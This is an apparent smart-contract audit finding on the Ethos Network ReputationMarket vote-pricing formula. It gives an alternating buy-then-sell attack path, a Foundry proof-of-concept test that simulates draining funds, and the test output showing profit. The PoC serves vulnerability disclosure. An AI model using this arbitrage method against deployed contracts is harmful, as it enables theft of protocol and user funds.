Proud Chartreuse Whale

High

# Flawed formula for calculating vote price allows for stealing funds from the protocol

### Summary

The votePrice calculation formula used by ReputationMarket.sol is flawed and enables attackers to drain funds from the protocol.

### Root Cause

For any sustainable pricing formula, the requirement is that instant buy/sell arbitrage should not exist ie. one must not be able to buy x amount and instantly sell x amount at a profit. The used formula here is flawed and allows an attacker to buy x items at a lower price and sell x items at a higher price instantly by varying the order of buying and selling


```Solidity
  function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) {
    uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST];
    return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes;
  }
```

[RepoLink](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L920-L923)



### Attack Path

Attacker buys 50 Trust and 50 Distrust tokens in an alternating manner ie. buy 1 Trust token, buy 1 Distrust token, buy 1 Trust token etc. Attacker has to spend 2.451308104035652034 eth for this (in the poc)

Attacker then sells 50 Trust tokens followed by selling of 50 Distrust tokens. Attacker obtains 3.093972758933192945 eth for this (in the poc)

In this way the totalSell amount can be made higher than the totalBuy amount  and can drain the protocol funds

### Impact

Current votePrice calculation is flawed and can be exploited using the above mentioned attack path and attackers can drain the protocol funds.

### PoC

```Solidity
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";

contract EthosSellBuyPOCTest is Test {
    uint256 TRUST = 1;
    uint256 DISTRUST = 0;

    struct Market {
        uint256[2] votes;
        uint256 basePrice;
    }

    function _calcVotePrice(Market memory market, bool isPositive) private returns (uint256) {
        uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST];
        return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes;
    }

    function _calculateBuy(Market memory market, bool isPositive, uint256 amount) private returns (uint256 fundsPaid) {
        uint256 votePrice = _calcVotePrice(market, isPositive);

        

        for (uint256 i = 0; i < amount; i++) {
            fundsPaid += votePrice;
            market.votes[isPositive ? TRUST : DISTRUST] += 1;
            votePrice = _calcVotePrice(market, isPositive);
        }

        return fundsPaid;
    }

    function _calculateSell(Market memory market, bool isPositive, uint256 amount)
        private
        returns (uint256 fundsReceived)
    {
        uint256 votePrice = _calcVotePrice(market, isPositive);

        
        for (uint256 i = 0; i < amount; i++) {
            if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) {
                revert("Underflow in votes");
            }

            market.votes[isPositive ? TRUST : DISTRUST] -= 1;
            votePrice = _calcVotePrice(market, isPositive);
            fundsReceived += votePrice;
        }

        return fundsReceived;
    }

    function testEthosSellGtBuy() public {
        // buy 100 votes sum going stepwise ie. 1 buy trust, 1 buy distrust
        Market memory market = Market({votes: [uint256(1), 1], basePrice: 0.05 ether});
        uint256 buySum;
        for (uint256 i = 0; i < 100; i++) {
            buySum += _calculateBuy(market, i % 2 == 0, 1);
        }

        uint256 sellSum;
        // sell one side continously ie. sell 50 trust, sell 50 distrust
        sellSum += _calculateSell(market, true, 50);
        sellSum += _calculateSell(market, false, 50);

        assert(market.votes[TRUST] == 1 && market.votes[DISTRUST] == 1);
        // sell 100 votes sum
        console.log("sellSum", sellSum);
        console.log("buySum", buySum);
        assert(sellSum > buySum);
    }
}
```

```Solidity
  sellSum 3093972758933192945
  buySum 2451308104035652034
```

### Mitigation

Use a more secure formula to calculate votePrices that cant be exploited by instant buy/sell arbitrage